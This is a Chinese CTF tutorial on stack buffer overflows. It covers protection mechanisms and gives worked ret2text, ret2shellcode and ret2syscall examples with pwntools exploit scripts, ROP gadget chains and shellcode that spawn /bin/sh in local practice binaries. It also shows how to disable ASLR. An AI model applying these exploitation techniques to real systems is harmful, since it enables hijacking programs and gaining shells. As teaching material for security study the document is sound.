<h1 id="pwn-stack-overflow"><a class="header" href="#pwn-stack-overflow">PWN stack overflow</a></h1>
|
||
<h1 id="栈介绍"><a class="header" href="#栈介绍">栈介绍</a></h1>
|
||
<h2 id="基本栈介绍"><a class="header" href="#基本栈介绍">基本栈介绍</a></h2>
|
||
<p>栈是一种典型的后进先出( Last in First Out )的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
|
||
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,<strong>程序的栈是从进程地址空间的高地址向低地址增长的</strong>。
|
||
esp/rsp -> 栈顶; ebp/rbp -> 栈底</p>
|
||
<h2 id="函数调用栈"><a class="header" href="#函数调用栈">函数调用栈</a></h2>
|
||
<p>32 位和 64 位程序有以下简单的区别</p>
|
||
<ul>
|
||
<li><strong>x86</strong></li>
|
||
<li><strong>函数参数</strong>在<strong>函数返回地址</strong>的上方</li>
|
||
<li><strong>x64</strong></li>
|
||
<li>System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在<strong>RDI, RSI, RDX, RCX, R8 和 R9 寄存器</strong>中,如果还有更多的参数的话才会保存在栈上。</li>
|
||
<li>内存地址不能大于 0x00007FFFFFFFFFFF,<strong>6 个字节长度</strong>,否则会抛出异常。</li>
|
||
</ul>
|
||
<h1 id="保护机制"><a class="header" href="#保护机制">保护机制</a></h1>
|
||
<h3 id="aslr"><a class="header" href="#aslr">ASLR</a></h3>
|
||
<p><code>ASLR</code>(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。系统的防护措施,程序装载时生效。
|
||
<code>Linux</code>检查是否开启<code>ASLR</code>,可用下面命令:
|
||
<code>cat /proc/sys/kernel/randomize_va_space</code>
|
||
如果<code>/proc/sys/kernel/randomize_va_space</code>里的值为<code>0</code>时,则表示ASLR关闭。
|
||
可用下面的命令手动关闭:
|
||
<code>echo -n "0" > /proc/sys/kernel/randomize_va_space</code></p>
|
||
<h3 id="depnx"><a class="header" href="#depnx">DEP/NX</a></h3>
|
||
<p>数据执行保护,默认栈的权限是可读、可写、不可执行。
|
||
gcc编译器默认开启该保护,编译时加上 <code>-z execstack</code> 则关闭该保护,<code>-z noexecstack</code> 是开启该保护。
|
||
(<code>-z </code>是传参给链接器,<code>execstack</code>是使目标文件的栈可以执行)</p>
|
||
<h3 id="canary"><a class="header" href="#canary">Canary</a></h3>
|
||
<p>编译器对栈溢出的一种保护机制,在函数执行时,先在栈上放置一个随机标识符,函数返回前会先检查标识符是否被修改,如果被修改则直接触发中断来中止程序,可以有效的防止栈溢出攻击。
|
||
gcc默认开启 Stack Guard ,编译时加上<code>-fno-stack-protector</code>参数就可以关闭<code> Stack Guard(CANARY)</code>。</p>
|
||
<pre><code class="language-shell">High
|
||
Address | |
|
||
+-----------------+
|
||
| args |
|
||
+-----------------+
|
||
| return address |
|
||
+-----------------+
|
||
rbp => | old ebp |
|
||
+-----------------+
|
||
rbp-8 => | canary value |
|
||
+-----------------+
|
||
| local variables |
|
||
Low | |
|
||
Address
|
||
</code></pre>
|
||
<h3 id="relro"><a class="header" href="#relro">RELRO</a></h3>
|
||
<p><code>relro </code>是一种用于加强对 binary 数据段的保护的技术。relro 分为 <code>partial relro</code> 和<code> full relro</code>。
|
||
参数<code> -z norelro</code> 是关闭RELRO保护。
|
||
<code>Partial RELRO</code>
|
||
目前gcc 默认编译就是<code> partial relro</code>,参数是<code> -z relro</code>
|
||
部分区块(比如:<code>.init_array .fini_array .jcr .dynamic </code>)在被动态装载(初始化)后,就被标记为只读区块。
|
||
<code>Full RELRO</code>
|
||
gcc编译参数是<code>-z relro -z now</code>
|
||
拥有<code> Partial RELRO</code> 的所有特性,<strong>整个GOT表映射为只读的</strong>
|
||
got表全局映射表,plt表存储的函数真实地址。</p>
|
||
<h3 id="pie"><a class="header" href="#pie">PIE</a></h3>
|
||
<p><code>PIE</code>(position-independent executable, 地址无关可执行文件) 技术就是一个针对代码段.text, 数据段<code>.*data,.bss</code>等固定地址的一个防护技术。同<code>ASLR</code>一样,应用了<code>PIE</code>的程序会在每次加载时都变换加载基址。
|
||
gcc编译器 编译时加上<code>-fpie -pie</code>即开启 PIE,不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令<code>gcc -v</code>查看gcc 默认的开关情况。如果含有<code>--enable-default-pie</code>参数则代表 PIE 默认已开启。
|
||
编译时加上 <code>-no-pie </code>关闭PIE保护。没有开启的情况下.text, 数据段<code>.*data,.bss</code>等段的地址是固定的。</p>
|
||
<h1 id="栈溢出原理"><a class="header" href="#栈溢出原理">栈溢出原理</a></h1>
|
||
<h2 id="介绍"><a class="header" href="#介绍">介绍</a></h2>
|
||
<p>栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是</p>
|
||
<ul>
|
||
<li>程序必须向栈上写入数据。</li>
|
||
<li>写入的数据大小没有被良好地控制。</li>
|
||
</ul>
|
||
<h2 id="基本示例"><a class="header" href="#基本示例">基本示例</a></h2>
|
||
<p>最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,<strong>当然需要确保这个地址所在的段具有可执行权限</strong>。下面,我们举一个简单的例子:</p>
|
||
<pre><code class="language-C">#include <stdio.h>
|
||
#include <string.h>
|
||
void success() {
|
||
puts("You Hava already controlled it.");
|
||
}
|
||
void vulnerable() {
|
||
char s[12];
|
||
gets(s);//用户输入
|
||
puts(s);//将用户输入输出
|
||
return;
|
||
}
|
||
int main(int argc, char **argv) {
|
||
vulnerable();
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>这个程序的主要目的读取一个字符串,并将其输出。<strong>我们希望可以控制程序执行 success 函数。</strong>
|
||
我们利用如下命令对其进行编译</p>
|
||
<pre><code class="language-shell">➜ stack-example gcc -m32 -no-pie -fno-stack-protector -z execstack stack_example.c -o stack_example
|
||
stack_example.c: In function ‘vulnerable’:
|
||
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
|
||
gets(s);
|
||
^
|
||
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
|
||
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
|
||
</code></pre>
|
||
<p>可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,</p>
|
||
<blockquote>
|
||
<p>历史上,<strong>莫里斯蠕虫</strong>第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
|
||
编译成功后,可以使用 checksec 工具检查编译出的文件:
|
||
安装checksec</p>
|
||
</blockquote>
|
||
<pre><code class="language-bash">sudo apt install checksec
|
||
</code></pre>
|
||
<pre><code>➜ stack-example checksec stack_example
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
</code></pre>
|
||
<p>为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。。
|
||
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到</p>
|
||
<pre><code class="language-C">int vulnerable()
|
||
{
|
||
char s; // [sp+4h] [bp-14h]@1
|
||
gets(&s);
|
||
return puts(&s);
|
||
}
|
||
</code></pre>
|
||
<p>该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为</p>
|
||
<pre><code class="language-text">+-----------------+
|
||
| retaddr |
|
||
+-----------------+
|
||
| saved ebp |
|
||
ebp--->+-----------------+
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
s,ebp-0x14-->+-----------------+
|
||
</code></pre>
|
||
<p>并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。</p>
|
||
<pre><code class="language-asm">.text:0804843B success proc near
|
||
.text:0804843B push ebp
|
||
.text:0804843C mov ebp, esp
|
||
.text:0804843E sub esp, 8
|
||
.text:08048441 sub esp, 0Ch
|
||
.text:08048444 push offset s ; "You Hava already controlled it."
|
||
.text:08048449 call _puts
|
||
.text:0804844E add esp, 10h
|
||
.text:08048451 nop
|
||
.text:08048452 leave
|
||
.text:08048453 retn
|
||
.text:08048453 success endp
|
||
</code></pre>
|
||
<p>那么如果我们读取的字符串为</p>
|
||
<pre><code>0x14*'a'+'bbbb'+success_addr
|
||
</code></pre>
|
||
<p>那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为</p>
|
||
<pre><code class="language-text">+-----------------+
|
||
| 0x0804843B |
|
||
+-----------------+
|
||
| bbbb |
|
||
ebp--->+-----------------+
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
| |
|
||
s,ebp-0x14-->+-----------------+
|
||
</code></pre>
|
||
<p>但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是</p>
|
||
<pre><code class="language-text">\x3b\x84\x04\x08
|
||
</code></pre>
|
||
<p>但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用<code> pwntools</code></p>
|
||
<pre><code class="language-shell">python -m pip install pwntools
|
||
</code></pre>
|
||
<p>这里利用 pwntools 的代码如下:</p>
|
||
<pre><code class="language-python">##coding=utf8
|
||
from pwn import *
|
||
## 构造与程序交互的对象
|
||
sh = process('./stack_example')
|
||
success_addr = 0x0804843b
|
||
## 构造payload
|
||
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) # p64()\p16()\p8()
|
||
print p32(success_addr)
|
||
## 向程序发送字符串
|
||
sh.sendline(payload)
|
||
## 将代码交互转换为手工交互
|
||
sh.interactive()
|
||
</code></pre>
|
||
<p>执行代码,可以得到</p>
|
||
<pre><code class="language-shell">➜ stack-example python exp.py
|
||
[+] Starting local process './stack_example': pid 61936
|
||
;\x84\x0
|
||
[*] Switching to interactive mode
|
||
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
|
||
You Hava already controlled it.
|
||
[*] Got EOF while reading in interactive
|
||
$
|
||
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
|
||
[*] Got EOF while sending in interactive
|
||
</code></pre>
|
||
<p>可以看到我们确实已经执行 success 函数。</p>
|
||
<h2 id="小总结"><a class="header" href="#小总结">小总结</a></h2>
|
||
<p>上面的示例其实也展示了栈溢出中比较重要的几个步骤。</p>
|
||
<h3 id="寻找危险函数"><a class="header" href="#寻找危险函数">寻找危险函数</a></h3>
|
||
<h3 id="确定填充长度"><a class="header" href="#确定填充长度">确定填充长度</a></h3>
|
||
<p>这一部分主要是计算<strong>我们所要操作的地址与我们所要覆盖的地址的距离</strong>。
|
||
一般来说,我们会有如下的覆盖需求</p>
|
||
<ul>
|
||
<li><strong>覆盖函数返回地址</strong>,这时候就是直接看 EBP 即可。</li>
|
||
<li><strong>覆盖栈上某个变量的内容</strong>,这时候就需要更加精细的计算了。</li>
|
||
<li><strong>覆盖 bss 段某个变量的内容</strong>。</li>
|
||
<li>根据现实执行情况,覆盖特定的变量或地址的内容。
|
||
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来<strong>直接或者间接地控制程序执行流程</strong>。</li>
|
||
</ul>
|
||
<h1 id="基本-rop"><a class="header" href="#基本-rop">基本 ROP</a></h1>
|
||
<p>随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓gadgets 就是以 <code>ret <==> pop eip;</code>结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
|
||
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件</p>
|
||
<ul>
|
||
<li>程序存在溢出,并且可以控制返回地址。</li>
|
||
<li>可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
|
||
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。</li>
|
||
</ul>
|
||
<h2 id="ret2text"><a class="header" href="#ret2text">ret2text</a></h2>
|
||
<h3 id="原理"><a class="header" href="#原理">原理</a></h3>
|
||
<p>ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。
|
||
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。</p>
|
||
<h3 id="例子"><a class="header" href="#例子">例子</a></h3>
|
||
<p>首先,查看一下程序的保护机制</p>
|
||
<pre><code class="language-shell">➜ ret2text checksec ret2text
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
</code></pre>
|
||
<p>可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。</p>
|
||
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int v4; // [sp+1Ch] [bp-64h]@1
|
||
setvbuf(stdout, 0, 2, 0);
|
||
setvbuf(_bss_start, 0, 1, 0);
|
||
puts("There is something amazing here, do you know anything?");
|
||
gets((char *)&v4);
|
||
printf("Maybe I will tell you next time !");
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现</p>
|
||
<pre><code class="language-asm">.text:080485FD secure proc near
|
||
.text:080485FD
|
||
.text:080485FD input = dword ptr -10h
|
||
.text:080485FD secretcode = dword ptr -0Ch
|
||
.text:080485FD
|
||
.text:080485FD push ebp
|
||
.text:080485FE mov ebp, esp
|
||
.text:08048600 sub esp, 28h
|
||
.text:08048603 mov dword ptr [esp], 0 ; timer
|
||
.text:0804860A call _time
|
||
.text:0804860F mov [esp], eax ; seed
|
||
.text:08048612 call _srand
|
||
.text:08048617 call _rand
|
||
.text:0804861C mov [ebp+secretcode], eax
|
||
.text:0804861F lea eax, [ebp+input]
|
||
.text:08048622 mov [esp+4], eax
|
||
.text:08048626 mov dword ptr [esp], offset unk_8048760
|
||
.text:0804862D call ___isoc99_scanf
|
||
.text:08048632 mov eax, [ebp+input]
|
||
.text:08048635 cmp eax, [ebp+secretcode]
|
||
.text:08048638 jnz short locret_8048646
|
||
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
|
||
.text:08048641 call _system
|
||
</code></pre>
|
||
<p>在 secure 函数又发现了存在调用 system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。
|
||
下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。</p>
|
||
<pre><code class="language-asm">.text:080486A7 lea eax, [esp+1Ch]
|
||
.text:080486AB mov [esp], eax ; s
|
||
.text:080486AE call _gets
|
||
</code></pre>
|
||
<p>可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call之后处,查看我们的输入和ebp的相对位置,如下</p>
|
||
<pre><code class="language-shell">pwndbg> b *0x080486B3
|
||
Breakpoint 1 at 0x80486b3: file ret2text.c, line 25.
|
||
pwndbg> r
|
||
Starting program: /home/dj/桌面/PWN/ret2text
|
||
There is something amazing here, do you know anything?
|
||
aaaaaaaaa
|
||
Breakpoint 1, main () at ret2text.c:25
|
||
.......
|
||
......
|
||
#此时ebp=0xffffd048
|
||
pwndbg> stack 30
|
||
00:0000│ esp 0xffffcfc0 —▸ 0xffffcfdc ◂— 'aaaaaaaaa'
|
||
01:0004│ 0xffffcfc4 ◂— 0x0
|
||
02:0008│ 0xffffcfc8 ◂— 0x1
|
||
03:000c│ 0xffffcfcc ◂— 0x0
|
||
04:0010│ 0xffffcfd0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
|
||
05:0014│ 0xffffcfd4 —▸ 0xf7ffd918 ◂— 0x0
|
||
06:0018│ 0xffffcfd8 —▸ 0xffffcff0 ◂— 0xffffffff
|
||
07:001c│ eax 0xffffcfdc ◂— 'aaaaaaaaa'
|
||
</code></pre>
|
||
<p>可以看到输入值地址为 0xffffcfdc,ebp 为 0xffffd048,因此,我们可以得到</p>
|
||
<ul>
|
||
<li>s 相对于 ebp 的偏移为 0x6c</li>
|
||
<li>s 相对于返回地址的偏移为 0x6c+4
|
||
最后的 payload 如下:</li>
|
||
</ul>
|
||
<pre><code class="language-python">##!/usr/bin/env python
|
||
from pwn import *
|
||
p = process('./ret2text')
|
||
system_addr = 0x0804863A
|
||
payload = 'a'*0x6c + 'bbbb' + p32(system_addr)
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
</code></pre>
|
||
<h2 id="ret2shellcode"><a class="header" href="#ret2shellcode">ret2shellcode</a></h2>
|
||
<h3 id="原理-1"><a class="header" href="#原理-1">原理</a></h3>
|
||
<p>ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。<strong>一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码</strong>。
|
||
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。</p>
|
||
<h3 id="例子-1"><a class="header" href="#例子-1">例子</a></h3>
|
||
<p>这里我们以 bamboofox 中的 ret2shellcode 为例
|
||
首先检测程序开启的保护</p>
|
||
<pre><code class="language-shell">➜ ret2shellcode checksec ret2shellcode
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX disabled
|
||
PIE: No PIE (0x8048000)
|
||
RWX: Has RWX segments
|
||
</code></pre>
|
||
<p>可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序</p>
|
||
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int v4; // [sp+1Ch] [bp-64h]@1
|
||
setvbuf(stdout, 0, 2, 0);
|
||
setvbuf(stdin, 0, 1, 0);
|
||
puts("No system for you this time !!!");
|
||
gets((char *)&v4);
|
||
strncpy(buf2, (const char *)&v4, 0x64u);
|
||
printf("bye bye ~");
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。</p>
|
||
<pre><code class="language-asm">.bss:0804A080 public buf2
|
||
.bss:0804A080 ; char buf2[100]
|
||
</code></pre>
|
||
<p>这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。</p>
|
||
<pre><code class="language-shell">pwndbg> vmmap
|
||
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
|
||
0x8048000 0x8049000 r-xp 1000 0 /home/dj/桌面/PWN/ret2shellcode
|
||
0x8049000 0x804a000 r-xp 1000 0 /home/dj/桌面/PWN/ret2shellcode
|
||
0x804a000 0x804b000 rwxp 1000 1000 /home/dj/桌面/PWN/ret2shellcode
|
||
0x804b000 0x806c000 rwxp 21000 0 [heap]
|
||
0xf7dfd000 0xf7dfe000 rwxp 1000 0
|
||
0xf7dfe000 0xf7fae000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
|
||
0xf7fae000 0xf7faf000 ---p 1000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
|
||
0xf7faf000 0xf7fb1000 r-xp 2000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
|
||
0xf7fb1000 0xf7fb2000 rwxp 1000 1b2000 /lib/i386-linux-gnu/libc-2.23.so
|
||
0xf7fb2000 0xf7fb5000 rwxp 3000 0
|
||
0xf7fd3000 0xf7fd4000 rwxp 1000 0
|
||
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
|
||
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
|
||
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
|
||
0xf7ffc000 0xf7ffd000 r-xp 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
|
||
0xf7ffd000 0xf7ffe000 rwxp 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
|
||
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
|
||
</code></pre>
|
||
<p>通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限</p>
|
||
<pre><code class="language-text">0x804a000 0x804b000 rwxp 1000 1000 /home/dj/桌面/PWN/ret2shellcode
|
||
</code></pre>
|
||
<p>那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。
|
||
具体的 payload 如下</p>
|
||
<pre><code class="language-python">#!/usr/bin/env python
|
||
from pwn import *
|
||
p = process('./ret2shellcode')
|
||
shellcode = asm(shellcraft.sh())
|
||
buf2_addr = 0x804a080
|
||
p.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
|
||
p.interactive()
|
||
</code></pre>
|
||
<h3 id="题目"><a class="header" href="#题目">题目</a></h3>
|
||
<h2 id="ret2syscall"><a class="header" href="#ret2syscall">ret2syscall</a></h2>
|
||
<h3 id="原理-2"><a class="header" href="#原理-2">原理</a></h3>
|
||
<p>ret2syscall,即控制程序执行系统调用,获取 shell。
|
||
int 0x80;</p>
|
||
<h3 id="例子-2"><a class="header" href="#例子-2">例子</a></h3>
|
||
<p>首先检测程序开启的保护</p>
|
||
<pre><code class="language-shell">➜ ret2syscall checksec rop
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
</code></pre>
|
||
<p>可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码</p>
|
||
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int v4; // [sp+1Ch] [bp-64h]@1
|
||
setvbuf(stdout, 0, 2, 0);
|
||
setvbuf(stdin, 0, 1, 0);
|
||
puts("This time, no system() and NO SHELLCODE!!!");
|
||
puts("What do you plan to do?");
|
||
gets(&v4);
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
|
||
int
|
||
系统调用手册</p>
|
||
<ul>
|
||
<li>https://syscalls.w3challs.com/
|
||
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell</li>
|
||
</ul>
|
||
<pre><code class="language-C">execve("/bin/sh",NULL,NULL)
|
||
</code></pre>
|
||
<p>其中,该程序是 32 位,所以我们需要使得 pop ebx,pop ecx,pop eax;ret ; 0x80BE408,0,0xb</p>
|
||
<ul>
|
||
<li>系统调用号,即 eax 应该为 0xb ; <code>pop eax; ret;</code> <code> *(esp) = 0xb -> eax=0xb</code></li>
|
||
<li>第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。<code>pop ebx ;ret</code>
|
||
<code>*(esp)=0x80BE408 -> ebx = 0x080BE408</code></li>
|
||
<li>第二个参数,即 ecx 应该为 0</li>
|
||
<li>第三个参数,即 edx 应该为 0
|
||
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。
|
||
安装<code>ropgadgets </code></li>
|
||
</ul>
|
||
<pre><code class="language-bash">git clone https://github.com/JonathanSalwan/ROPgadget.git
|
||
cd ROPgadget
|
||
python setup.py develop
|
||
</code></pre>
|
||
<p>首先,我们来寻找控制 eax 的gadgets</p>
|
||
<pre><code class="language-shell">➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
|
||
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
||
0x080bb196 : pop eax ; ret
|
||
0x0807217a : pop eax ; ret 0x80e
|
||
0x0804f704 : pop eax ; ret 3
|
||
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
||
</code></pre>
|
||
<p>可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
|
||
类似的,我们可以得到控制其它寄存器的 gadgets</p>
|
||
<pre><code class="language-shell">➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
|
||
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
|
||
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
||
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
|
||
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
|
||
0x080be23f : pop ebx ; pop edi ; ret
|
||
0x0806eb69 : pop ebx ; pop edx ; ret
|
||
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
|
||
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
|
||
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
|
||
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
|
||
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
|
||
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
|
||
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
|
||
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
|
||
0x08049a94 : pop ebx ; pop esi ; ret
|
||
0x080481c9 : pop ebx ; ret
|
||
0x080d7d3c : pop ebx ; ret 0x6f9
|
||
0x08099c87 : pop ebx ; ret 8
|
||
0x0806eb91 : pop ecx ; pop ebx ; ret
|
||
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
|
||
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
|
||
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
||
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
|
||
0x0805c820 : pop esi ; pop ebx ; ret
|
||
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||
0x0807b6ed : pop ss ; pop ebx ; ret
|
||
</code></pre>
|
||
<p>这里,我选择</p>
|
||
<pre><code class="language-text">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
|
||
</code></pre>
|
||
<p>这个可以直接控制其它三个寄存器。
|
||
此外,我们需要获得 /bin/sh 字符串对应的地址。</p>
|
||
<pre><code class="language-shell">➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
|
||
Strings information
|
||
============================================================
|
||
0x080be408 : /bin/sh
|
||
</code></pre>
|
||
<p>可以找到对应的地址,此外,还有 int 0x80 的地址,如下</p>
|
||
<pre><code class="language-text">➜ ret2syscall ROPgadget --binary rop --only 'int'
|
||
Gadgets information
|
||
============================================================
|
||
0x08049421 : int 0x80
|
||
0x080938fe : int 0xbb
|
||
0x080869b5 : int 0xf6
|
||
0x0807b4d4 : int 0xfc
|
||
Unique gadgets found: 4
|
||
</code></pre>
|
||
<p>同时,也找到对应的地址了。
|
||
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。</p>
|
||
<pre><code class="language-python">#!/usr/bin/env python
|
||
from pwn import *
|
||
p = process('./ret2syscall')
|
||
pop_eax_ret = 0x080bb196
|
||
pop_edx_ecx_ebx_ret = 0x0806eb90
|
||
int_0x80 = 0x08049421
|
||
binsh = 0x80be408
|
||
payload = 'a'*0x6c + 'bbbb'
|
||
payload += p32(pop_eax_ret)+p32(0xb)
|
||
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)
|
||
payload += p32(int_0x80)
|
||
gdb.attach(p)
|
||
p.sendline(payload)
|
||
</code></pre>
|
||
<h3 id="题目-1"><a class="header" href="#题目-1">题目</a></h3>
|
||
<h2 id="ret2libc"><a class="header" href="#ret2libc">ret2libc</a></h2>
|
||
